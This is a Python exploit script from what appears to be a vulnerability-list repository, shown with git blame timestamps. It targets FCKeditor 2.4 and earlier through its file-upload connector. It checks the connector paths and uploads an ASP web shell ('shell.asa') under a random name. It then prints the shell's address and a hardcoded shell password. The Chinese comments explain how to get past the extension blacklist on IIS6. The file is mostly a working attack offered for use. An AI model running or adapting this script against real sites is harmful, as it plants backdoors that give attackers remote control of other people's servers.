Files
vulnerability-list/fckeditor/fckeditor_getshell.py

88 lines
4.1 KiB
Python
Raw Normal View History

2018-11-05 21:41:25 +08:00
# -*- coding: utf-8 -*-
from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
from random import *
import re
import sys
'''
Usage:
moon.py -u fck http://127.0.0.1:8080
fck <2.4.x版本也就是2.4.x及以下的File参数时为黑名单验证可以通过上传.asa.cer.asp;jpg针对IIS6
如果asacer不被解析还可以传.asp[空格]传的方法就是抓包然后在数据包里的文件名后填个空格
实际测试过程中还是上传asa可以以下脚本也基于asa上传
2018-11-05 22:05:55 +08:00
fck编辑器如要上传文件需配置相关项目如果出现上传成功且获取上传路径失败就可能是配置不允许上传
返回包出现这类文字基本上就是设置不允许上传This connector is disabled. Please check the
2018-11-05 21:41:25 +08:00
'''
2019-08-20 19:09:10 +08:00
2018-11-05 21:41:25 +08:00
def gen_shell():
min_char = 4
max_char = 12
allchar = string.ascii_letters + string.digits
shell_name = "".join(choice(allchar) for x in range(randint(min_char, max_char)))
return shell_name
2019-08-20 19:09:10 +08:00
2018-11-05 21:41:25 +08:00
def geturl(URL):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
2018-11-05 22:05:55 +08:00
2018-11-05 21:41:25 +08:00
urls = (
'/editor/filemanager/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/', #fck25
'/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/', #fck243
2018-11-05 22:05:55 +08:00
'/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/',#fck21,#fck22,fck23
2018-11-05 21:41:25 +08:00
)
for url in urls:
url = URL + url
try:
verify_response = requests.get(url, headers=headers)
html = verify_response.content.decode('utf-8')
soup = re.search(r'<CurrentFolder path="/" url="(.*?)" />', html)
print("此Fckeditor上传路径为" + soup.group(1))
return soup.group(1)
break
2019-08-20 19:09:10 +08:00
except Exception:
2018-11-05 21:41:25 +08:00
pass
2019-08-20 19:09:10 +08:00
2018-11-05 21:41:25 +08:00
def attack(URL):
2018-12-03 20:21:12 +08:00
print('[+]开始检测-Fckeditor<=2.4版本简单文件上传。asp[+]')
2018-11-05 21:41:25 +08:00
url = URL + '/editor/filemanager/browser/default/connectors/test.html'
user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36"
headers = {"User-Agent": user_agent,"Upgrade-Insecure-Requests": "1"}
verify_response = requests.get(url, headers=headers)
shellname = gen_shell()
if verify_response.status_code == 200:
print('存在有风险的上传页面:'+url)
try:
url = URL + '/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/'
pwd = sys.argv[0] # 获取当前文件夹的路径
m = MultipartEncoder(fields={'NewFile': (f'{shellname}.asa', open(f'{pwd}\\..\\fckeditor\\shell.asa', 'rb'), 'application/octet-stream')})
headers={'Content-Type': m.content_type,
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
}
r = requests.post(url, data=m, headers=headers)
print('上传shell成功')
try:
aim_url = geturl(URL)
URL = re.match('http://(.*?)/',URL).group()
2019-08-20 19:09:10 +08:00
print('Shell地址为'+URL + aim_url+shellname+'.asa')
2018-11-05 21:41:25 +08:00
print('shell密码为gutf987y97y97。')
2019-08-20 19:09:10 +08:00
except Exception:
2018-11-05 21:41:25 +08:00
print('获取上传路径失败shell名为'+shellname+'.asa')
print('shell密码为gutf987y97y97。')
2019-08-20 19:09:10 +08:00
except Exception:
2018-11-05 21:41:25 +08:00
print('上传shell发生错误。')
else:
print('未发现该页面:'+url)
print('[+]检测结束-Fckeditor<=2.4版本简单文件上传。[+]')
print('\n')
if __name__ == "__main__":
2019-08-20 19:09:10 +08:00
attack()